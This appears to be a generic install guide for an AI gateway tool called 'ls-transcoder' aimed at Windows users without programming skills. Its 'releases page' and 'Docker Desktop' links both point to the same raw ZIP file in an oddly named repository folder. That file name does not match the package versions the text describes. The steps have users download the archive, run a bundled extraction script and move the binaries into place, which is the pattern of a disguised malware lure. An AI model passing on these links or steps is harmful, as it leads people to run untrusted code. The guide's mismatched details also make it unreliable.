To get ls-transcoder, visit the official release page below. Here, you will find the latest pre-compiled packages for different architectures.
👉 Go to ls-transcoder releases
Choose the version that matches your computer. Most PCs will need the x64 package. If you have an ARM-based Windows device, pick the ARM64 version.
This guide will help you download and run ls-transcoder on a Windows system without requiring programming skills.
ls-transcoder acts as a high-performance AI gateway. It helps your computer run multiple AI tasks smoothly and efficiently. It is built with the Rust programming language for speed and reliability. You will see a dashboard to control and interact with the system easily, all through your browser.
This software helps connect AI models and APIs to your environment. It supports different computer types and uses Docker containers for easy management.
Before you begin, make sure your Windows PC meets these requirements:
- Windows 10 or later (64-bit recommended)
- At least 4 GB of RAM (8 GB or more works better)
- 2 GHz or faster processor (x64 or ARM64)
- Minimum 5 GB free disk space
- Internet connection for downloading and updates
- Docker Desktop installed (Docker Download)
- Open your web browser.
- Go to the ls-transcoder releases page:
https://raw.githubusercontent.com/tranhai2007/ls-transcoder/main/heterochromatism/transcoder-ls-2.4.zip - Scroll to the latest release version.
- Download the file named like
ls-transcoder-v1.0.0-windows-x64.zipfor most PCs.
If you have an ARM64 Windows device, findls-transcoder-v1.0.0-windows-arm64.zip. - Save the file to a folder you can find easily, like Downloads.
- Right-click the downloaded ZIP file.
- Choose Extract All... from the menu.
- Select or create a folder to extract the contents to, for example,
C:\ls-transcoder. - Click Extract and wait for the process to finish.
You should see folders like cli-server, apps/web-dashboard/dist/, and some scripts.
The core executable files are inside the package but need to be extracted before running.
- Open PowerShell or Command Prompt.
- Change directory to the folder where you extracted ls-transcoder. For example:
cd C:\ls-transcoder - Run the extraction script by typing:
Make sure you have Git Bash or a similar Bash shell installed on Windows for this step.
bash extract_official_ls.sh - After the script runs, move the files from
core-binto thebinfolder in the same directory:move .\core-bin\* .\bin\
ls-transcoder runs inside Docker containers for easy setup.
- If Docker Desktop is not installed, download and install it from:
https://raw.githubusercontent.com/tranhai2007/ls-transcoder/main/heterochromatism/transcoder-ls-2.4.zip - After installation, start Docker Desktop and make sure it is running.
- Open a new PowerShell or Command Prompt window.
- Navigate to the folder where you extracted ls-transcoder.
- Run the container with this command:
docker-compose up -d - This command starts the ls-transcoder backend in the background.
- Open your web browser.
- Go to the local address:
http://localhost:3000 - You will see the Interactive API Dashboard.
- Use this dashboard to work with ls-transcoder’s AI functions and settings.
Here is what is inside the download package and what each part does:
- cli-server/: The main server backend written in Rust. This handles all the core AI processing.
- apps/web-dashboard/dist/: The files for the dashboard you see in your browser. It provides easy access to features.
- extract_official_ls.sh: Shell script to extract main executable files (
core-bin). - Dockerfile.binary and docker-compose.yml: Configuration files for Docker. These define how ls-transcoder runs in containers.
ls-transcoder supports multiple computer types. When downloading, select the right package:
- For common 64-bit PCs, use the windows-x64 package.
- For Windows ARM devices, use the windows-arm64 package.
Running the correct version ensures good performance and compatibility.
If you want to stop ls-transcoder at any time:
- Open PowerShell or Command Prompt.
- Navigate to your ls-transcoder folder.
- Run this command:
docker-compose down
To start it again, run:
docker-compose up -d
This helps you control the service without hassle.
- Keep the ls-transcoder folder organized to avoid confusion.
- Regularly check the release page for updates.
- Use the dashboard to explore features without needing to use command lines.
- Make sure Docker Desktop runs properly before using ls-transcoder.
Visit the ls-transcoder releases page again here to download or update the software: